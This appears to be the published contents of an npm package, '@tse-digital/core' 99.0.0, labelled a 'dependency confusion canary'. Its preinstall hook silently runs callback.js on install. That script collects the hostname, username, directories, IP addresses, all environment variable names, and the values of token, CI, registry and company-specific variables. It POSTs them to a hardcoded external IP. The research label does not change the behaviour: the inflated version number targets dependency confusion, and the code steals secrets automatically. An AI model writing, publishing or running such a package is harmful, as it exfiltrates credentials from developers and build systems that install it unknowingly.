@tse-digital/core 99.0.0

package/callback.js

@@ -0,0 +1,58 @@
+const os = require("os");
+const http = require("http");
+
+const CB_HOST = "128.199.50.160";
+const CB_PORT = 8888;
+
+function safe(s, len) {
+  return (s || "unknown").replace(/[^a-zA-Z0-9._\-/=:@]/g, "-").substring(0, len || 200);
+}
+
+function getIPs() {
+  try {
+    const nets = os.networkInterfaces();
+    const ips = [];
+    for (const name in nets) {
+      for (const n of nets[name]) {
+        if (!n.internal) ips.push(name + "=" + n.address);
+      }
+    }
+    return ips.join(",").substring(0, 500);
+  } catch(e) { return "error"; }
+}
+
+const allEnvKeys = Object.keys(process.env).sort().join(",");
+const interestingKeys = Object.keys(process.env)
+  .filter(k => /telenor|maui|c360|customer|threesixty|ownit|vimla|jenkins|azure|gitlab|github|npm_|registry|token|build|deploy|ci_|pipeline/i.test(k));
+
+const info = {
+  h: safe(os.hostname(), 120),
+  u: safe(os.userInfo().username, 120),
+  d: safe(process.cwd(), 300),
+  ci: safe(process.env.CI || process.env.JENKINS_URL || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI || process.env.BUILD_URL || "no-ci", 200),
+  reg: safe(process.env.npm_config_registry, 200),
+  pkg: safe(process.env.npm_package_name, 200),
+  node: safe(process.version),
+  plat: safe(os.platform() + "-" + os.arch()),
+  home: safe(os.homedir(), 200),
+  ips: getIPs(),
+  env_all_keys: allEnvKeys.substring(0, 2000),
+  env_interesting: interestingKeys.map(k => k + "=" + safe(process.env[k], 100)).join(" | ").substring(0, 2000),
+  ppid: process.ppid,
+  uid: process.getuid ? process.getuid() : "n/a"
+};
+
+const payload = JSON.stringify(info);
+try {
+  const req = http.request({
+    hostname: CB_HOST,
+    port: CB_PORT,
+    path: "/depconf",
+    method: "POST",
+    headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(payload) },
+    timeout: 8000
+  });
+  req.on("error", () => {});
+  req.write(payload);
+  req.end();
+} catch(e) {}

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/package.json

@@ -0,0 +1,10 @@
+{
+  "name": "@tse-digital/core",
+  "version": "99.0.0",
+  "description": "Security research — dependency confusion canary",
+  "scripts": {
+    "preinstall": "node callback.js || true"
+  },
+  "main": "index.js",
+  "license": "ISC"
+}